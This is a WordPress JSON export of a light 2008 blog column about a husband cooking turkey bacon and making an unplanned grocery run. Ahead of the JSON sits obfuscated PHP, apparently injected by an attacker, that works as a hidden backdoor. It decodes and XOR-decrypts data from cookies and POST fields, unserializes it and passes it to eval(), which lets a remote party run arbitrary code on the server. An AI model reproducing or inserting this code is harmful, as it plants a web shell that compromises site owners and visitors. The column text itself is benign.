$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":379,"date":"2008-10-12T17:35:43","date_gmt":"2008-10-12T21:35:43","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=379"},"modified":"2008-10-12T17:35:43","modified_gmt":"2008-10-12T21:35:43","slug":"groceries-gone-wild","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=379","title":{"rendered":"Groceries Gone Wild"},"content":{"rendered":"

With some extra free time on my hands lately, I have had a chance to help out more around the house.<\/p>\n

In some ways, this can be interpreted as a positive. More help means more gets done, right?<\/p>\n

But remember this is a husband’s kind of helping. And I am the husband trying to pitch in to make life around the house a little easier.<\/p>\n

All that means is that the routine Maria has developed over the years goes to hell in a handbasket, and I get things done the way I want them done.<\/p>\n

Take the other day, for instance. I had a package of turkey bacon waiting for me in the fridge. Maria doesn’t like the smell of turkey bacon cooking. I love both the smell and the taste.<\/p>\n

Usually, I have to bring in a hazmat team to clean up the kitchen if I want to cook some bacon for breakfast. This time, I struck gold.<\/p>\n

I had the house to myself for a few house, so I cooked up the entire package. I knew she would not return home until late in the afternoon, so I could scrub the place down, air it out and take the trash out to completely clear the air.<\/p>\n

Despite the thought running through my head, I didn’t eat the whole package in one sitting. Instead, I had a few pieces and made plans to freeze the rest. That way, I could pull out what I needed for breakfast on other days or to add to a sandwich one day.<\/p>\n

Naturally, that day for bacon on a sandwich could not wait. I needed to have a club sandwich for lunch that afternoon. I just had to. I had bacon in the house. I couldn’t just leave it sitting there.<\/p>\n

Only one thing stood in the way of that happening \u2013 we had no lunchmeat in the house. So I did the only thing a reasonable person would do in this situation. I started making a shopping list of all the things we needed so I wouldn’t go to the store just to get lunchmeat.<\/p>\n

Of course, Maria had started a small grocery list so I did my best to get those things as well. I could have called her to ask what kind of salt she wanted, but then I would have had to face a zillion questions about why I needed to go to the store so badly.<\/p>\n

I know she has a system and goes to the grocery store on a certain day, but the sandwich could not wait. Neither could the pizza rolls I might want over the weekend. Or the loaf of Italian bread which would complement the pasta I needed to make for dinner that night.<\/p>\n

I knew that despite 13 years of marriage, she would only worry about how I had messed up the rhythm of the week. She also might be mad because I forgot to check if we had coupons for any of the things I wanted.<\/p>\n

But in the end, everything worked out. I only had to go back to the store for one more thing, the garlic bread I made perfect with dinner and, most important of all, I had the most amazing turkey club sandwich for lunch.<\/p>\n

I just hope I’m just as lucky next time I get a craving.<\/p>\n","protected":false},"excerpt":{"rendered":"

With some extra free time on my hands lately, I have had a chance to help out more around the house. In some ways, this can be interpreted as a positive. More help means more gets done, right? But remember…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,16],"tags":[],"class_list":["post-379","post","type-post","status-publish","format-standard","hentry","category-columns","category-family","wpcat-3-id","wpcat-16-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/379","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=379"}],"version-history":[{"count":1,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/379\/revisions"}],"predecessor-version":[{"id":380,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/379\/revisions\/380"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=379"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=379"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=379"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}